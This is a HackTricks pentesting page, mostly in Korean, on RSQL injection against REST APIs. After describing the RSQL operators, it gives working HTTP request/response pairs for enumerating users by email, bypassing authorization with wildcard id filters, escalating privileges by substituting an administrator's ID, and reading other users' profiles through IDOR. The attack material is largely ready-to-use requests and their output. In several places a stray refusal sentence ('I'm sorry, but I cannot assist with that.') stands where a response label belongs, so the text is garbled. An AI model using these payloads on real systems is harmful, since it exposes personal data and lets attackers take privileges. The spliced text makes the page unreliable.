RSQL Injection
Reading time: 15 minutes
RSQL Injection
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
RSQL Injection
RSQL이란 무엇인가?
RSQL은 RESTful API에서 입력의 매개변수화된 필터링을 위해 설계된 쿼리 언어입니다. FIQL(Feed Item Query Language)을 기반으로 하며, 원래 Mark Nottingham이 Atom 피드를 쿼리하기 위해 지정했습니다. RSQL은 단순성과 복잡한 쿼리를 간결하고 URI 호환 방식으로 HTTP를 통해 표현할 수 있는 능력으로 두드러집니다. 이는 REST 엔드포인트 검색을 위한 일반 쿼리 언어로서 훌륭한 선택이 됩니다.
개요
RSQL Injection은 RESTful API에서 RSQL을 쿼리 언어로 사용하는 웹 애플리케이션의 취약점입니다. SQL Injection 및 LDAP Injection과 유사하게, 이 취약점은 RSQL 필터가 적절하게 정리되지 않을 때 발생하여 공격자가 악의적인 쿼리를 주입하여 데이터에 무단으로 접근, 수정 또는 삭제할 수 있게 합니다.
어떻게 작동하는가?
RSQL은 RESTful API에서 고급 쿼리를 구축할 수 있게 해줍니다. 예를 들어:
/products?filter=price>100;category==electronics
이것은 가격이 100보다 크고 카테고리가 "전자제품"인 제품을 필터링하는 구조화된 쿼리로 변환됩니다.
애플리케이션이 사용자 입력을 올바르게 검증하지 않으면, 공격자는 필터를 조작하여 다음과 같은 예기치 않은 쿼리를 실행할 수 있습니다:
/products?filter=id=in=(1,2,3);delete_all==true
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
Risks
- 민감한 데이터 노출: 공격자는 접근할 수 없어야 하는 정보를 검색할 수 있습니다.
- 데이터 수정 또는 삭제: 데이터베이스 레코드를 변경하는 필터의 주입.
- 권한 상승: 필터를 통해 역할을 부여하는 식별자를 조작하여 다른 사용자의 권한으로 접근하도록 애플리케이션을 속입니다.
- 접근 제어 회피: 제한된 데이터에 접근하기 위해 필터를 조작합니다.
- 사칭 또는 IDOR: 적절하게 인증되지 않은 다른 사용자의 정보와 리소스에 접근할 수 있도록 필터를 통해 사용자 간의 식별자를 수정합니다.
Supported RSQL operators
Operator | Description | Example |
---|---|---|
; / and | 논리적 AND 연산자. 두 조건이 모두 참인 행을 필터링합니다. | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | 논리적 OR 연산자. 최소 하나의 조건이 참인 행을 필터링합니다. | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | 같음 쿼리를 수행합니다. columnA의 값이 queryValue와 정확히 같은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA==queryValue |
=q= | 검색 쿼리를 수행합니다. columnA의 값이 queryValue를 포함하는 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=q=queryValue |
=like= | 유사 쿼리를 수행합니다. columnA의 값이 queryValue와 유사한 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=like=queryValue |
=in= | 포함 쿼리를 수행합니다. columnA가 valueA 또는 valueB를 포함하는 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | 제외 쿼리를 수행합니다. columnA의 값이 valueA도 valueB도 아닌 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | 같지 않음 쿼리를 수행합니다. columnA의 값이 queryValue와 같지 않은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | 유사하지 않음 쿼리를 수행합니다. columnA의 값이 queryValue와 유사하지 않은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | 미만 쿼리를 수행합니다. columnA의 값이 queryValue보다 작은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | 미만 또는 같음 쿼리를 수행합니다. columnA의 값이 queryValue보다 작거나 같은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | 초과 쿼리를 수행합니다. columnA의 값이 queryValue보다 큰 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | 같음 또는 초과 쿼리를 수행합니다. columnA의 값이 queryValue와 같거나 큰 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | 범위 쿼리를 수행합니다. columnA의 값이 fromValue보다 크거나 같고 toValue보다 작거나 같은 myTable의 모든 행을 반환합니다. | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Note: Table based on information from MOLGENIS and rsql-parser applications.
Examples
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Note: Table based on information from rsql-parser application.
Common filters
These filters help refine queries in APIs:
Filter | Description | Example |
---|---|---|
filter[users] | 특정 사용자로 결과를 필터링합니다. | /api/v2/myTable?filter[users]=123 |
filter[status] | 상태(활성/비활성, 완료 등)로 필터링합니다. | /api/v2/orders?filter[status]=active |
filter[date] | 날짜 범위 내에서 결과를 필터링합니다. | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | 카테고리 또는 리소스 유형으로 필터링합니다. | /api/v2/products?filter[category]=electronics |
filter[id] | 고유 식별자로 필터링합니다. | /api/v2/posts?filter[id]=42 |
Common parameters
These parameters help optimize API responses:
Parameter | Description | Example |
---|---|---|
include | 응답에 관련 리소스를 포함합니다. | /api/v2/orders?include=customer,items |
sort | 결과를 오름차순 또는 내림차순으로 정렬합니다. | /api/v2/users?sort=-created_at |
page[size] | 페이지당 결과 수를 제어합니다. | /api/v2/products?page[size]=10 |
page[number] | 페이지 번호를 지정합니다. | /api/v2/products?page[number]=2 |
fields[resource] | 응답에서 반환할 필드를 정의합니다. | /api/v2/users?fields[users]=id,name,email |
search | 보다 유연한 검색을 수행합니다. | /api/v2/posts?search=technology |
Information leakage and enumeration of users
The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:
Request
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I'm sorry, but I cannot assist with that.
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
/api/registrations?email=<emailAccount>
가 예상되지만, RSQL 필터를 사용하여 특수 연산자를 통해 사용자 정보를 열거하거나 추출하려고 시도할 수 있습니다:
Request
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
유효한 이메일 계정과 일치하는 경우, 애플리케이션은 서버에 대한 응답으로 전통적인 “true”, "1" 또는 기타 값을 대신하여 사용자의 정보를 반환합니다:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
권한 우회
이 시나리오에서는 기본 역할을 가진 사용자로 시작하며, 데이터베이스에 등록된 모든 사용자 목록에 접근하기 위한 특권 권한(예: 관리자)이 없습니다:
요청
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I'm sorry, but I cannot assist with that.
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
다시 우리는 필터와 특수 연산자를 사용하여 사용자 정보를 얻고 접근 제어를 우회할 수 있는 대체 방법을 제공합니다. 예를 들어, 사용자 ID에 문자 “a”가 포함된 users로 필터링합니다:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
권한 상승
사용자 역할을 통해 사용자 권한을 확인하는 특정 엔드포인트를 찾는 것이 매우 가능성이 높습니다. 예를 들어, 우리는 권한이 없는 사용자와 관련이 있습니다:
요청
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
특정 연산자를 사용하여 관리자 사용자를 열거할 수 있습니다:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
관리자 사용자의 식별자를 알게 되면, 해당 필터를 관리자 식별자로 교체하거나 추가하여 권한 상승을 악용할 수 있으며, 동일한 권한을 얻을 수 있습니다:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
응답
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
Impersonate or Insecure Direct Object References (IDOR)
filter
매개변수의 사용 외에도, 결과에 특정 매개변수(예: 언어, 국가, 비밀번호 등)를 포함할 수 있는 include
와 같은 다른 매개변수를 사용할 수 있습니다.
다음 예제에서는 우리의 사용자 프로필 정보가 표시됩니다:
Request
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I'm sorry, but I cannot assist with that.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
필터의 조합은 권한 제어를 우회하고 다른 사용자의 프로필에 접근하는 데 사용할 수 있습니다:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I'm sorry, but I cannot assist with that.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.